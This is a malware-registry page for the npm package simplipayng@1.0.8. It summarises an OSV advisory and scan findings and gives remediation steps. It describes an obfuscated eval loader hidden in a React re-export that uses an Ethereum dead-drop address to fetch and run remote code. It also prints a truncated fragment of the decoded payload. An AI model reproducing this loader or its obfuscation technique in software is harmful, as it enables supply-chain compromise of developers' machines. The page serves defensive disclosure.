registry / Malware / simplipayng

simplipayng

This report shows the evidence for simplipayng@1.0.8. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 3mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-12437 confirms this npm version as malicious.

Advisory

MAL-2026-12437

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in simplipayng (npm)

Details

dist/cjs/index.js appends an eval(atob(...)) blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for the latest transaction from the hardcoded address 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a, extracts two IPv4 addresses encoded in the tx.to field, then fetches XOR-encoded next-stage JavaScript from those IPs over HTTP/HTTPS at the paths /0x/cls and /0x/ls and executes it via eval and spawn('node', ['-e',...], {detached:true}). Network and process sinks are hidden behind base64 wrapping and per-character \uXXXX unicode escapes for require('http'), require('https'), require('child_process'), and 'spawn'. Any project that require()s this package receives arbitrary remote code execution controlled by whoever writes to the on-chain dead-drop address, in a detached Node subprocess.

References

OpenSSF/OSV advisory PACKAGE

Independent scan evidence

public snapshot

Behavioral surface

Source

Eval

Supply chain

HighEntropyStringsMinified

ManifestNo manifest risk signals triggered.

scanned 6 file(s), 26.9 KB of source

Source & flagged code

2 flagged

dist/esm/index.jsView file

1export * from './components'; ... L2: //# sourceMappingURL=index.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/esm/index.jsView on unpkg · L1

dist/esm/index.js#virtual:base64:round1View file

1global.i="A8-###";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/esm/index.js#virtual:base64:round1View on unpkg · L1

Findings

1 High3 Low

HighSame File Env Network Executiondist/esm/index.js#virtual:base64:round1

LowScripts Present

LowEvaldist/esm/index.js

LowHigh Entropy Strings

Affected versions and remediation

This report applies to simplipayng@1.0.8.

The versions list below shows the verdict for each recorded version.

Avoid installing simplipayng@1.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 13:35:56.246Z (UTC).

Source advisory published: 2026-08-05 12:33:59.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 6, 2026, 6:19 AM 1.0.8shownMaliciousMalwareBlockPublishedAug 5, 2026, 10:49 AM

registry / Malware / simplipayng

simplipayng

This report shows the evidence for simplipayng@1.0.8. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake Tailwind CSS plugins, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 3mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-12437 confirms this npm version as malicious.

Advisory

MAL-2026-12437

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in simplipayng (npm)

Details

References

OpenSSF/OSV advisory PACKAGE

Independent scan evidence

public snapshot

Behavioral surface

Source

Eval

Supply chain

HighEntropyStringsMinified

ManifestNo manifest risk signals triggered.

scanned 6 file(s), 26.9 KB of source

Source & flagged code

2 flagged

dist/esm/index.jsView file

1export * from './components'; ... L2: //# sourceMappingURL=index.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/esm/index.jsView on unpkg · L1

dist/esm/index.js#virtual:base64:round1View file

1global.i="A8-###";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=r...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/esm/index.js#virtual:base64:round1View on unpkg · L1

Findings

1 High3 Low

HighSame File Env Network Executiondist/esm/index.js#virtual:base64:round1

LowScripts Present

LowEvaldist/esm/index.js

LowHigh Entropy Strings

Affected versions and remediation

This report applies to simplipayng@1.0.8.

The versions list below shows the verdict for each recorded version.

Avoid installing simplipayng@1.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 13:35:56.246Z (UTC).

Source advisory published: 2026-08-05 12:33:59.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 6, 2026, 6:19 AM 1.0.8shownMaliciousMalwareBlockPublishedAug 5, 2026, 10:49 AM

OpenSSF/OSV Malicious Advisory

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

OpenSSF/OSV Malicious Advisory

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages